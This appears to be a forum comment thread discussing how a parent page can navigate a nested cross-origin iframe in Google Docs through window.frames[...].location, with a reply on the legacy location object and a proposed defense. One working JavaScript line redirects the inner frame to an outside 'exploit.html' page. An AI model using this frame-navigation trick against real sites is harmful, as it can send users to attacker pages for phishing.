4 ms·
The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to
by twiss 6y ago
The missing header just means that docs.google.com can be embedded in an iframe, I'm not surprised about that. But the parent window still shouldn't be able to access the contents of that iframe. And in fact this doesn't work:
document.getElementsByTagName('iframe')[0].contentDocument.getElementsByTagName('iframe')[0].src = "https://geekycat.in/exploit.html";
For obvious reasons (you can't access the DOM of a cross-origin iframe). So it's surprising that this works:
window.frames[0].frames[0].location = "https://geekycat.in/exploit.html";
- cramforce 6y agoFor legacy reasons the location object is special (you can write to it which is a proxy to writing to `location.href`). Some details here https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Location https://developer.mozilla.org/en-US/docs/Web/Security/Same-o... This is actually quite difficult to protect against while keeping functionality intact (not granting allow-scripts to iframes would do it, but also obviously disable JavaScript). The emerging https://github.com/dtapuska/documentaccess https://github.com/dtapuska/documentaccess standard would be a defense-in-depth against this attack.
- twiss 6y agoMyeah. I was aware that `WindowProxy.location` exists, but not that `WindowProxy.frames` exists. To me, that's the more surprising part - as `window.frames[0].location` should indeed be writable, but I feel like accessing `window.frames[0].frames` is more debatable - even knowing the number of iframes in a page might leak information in certain cases.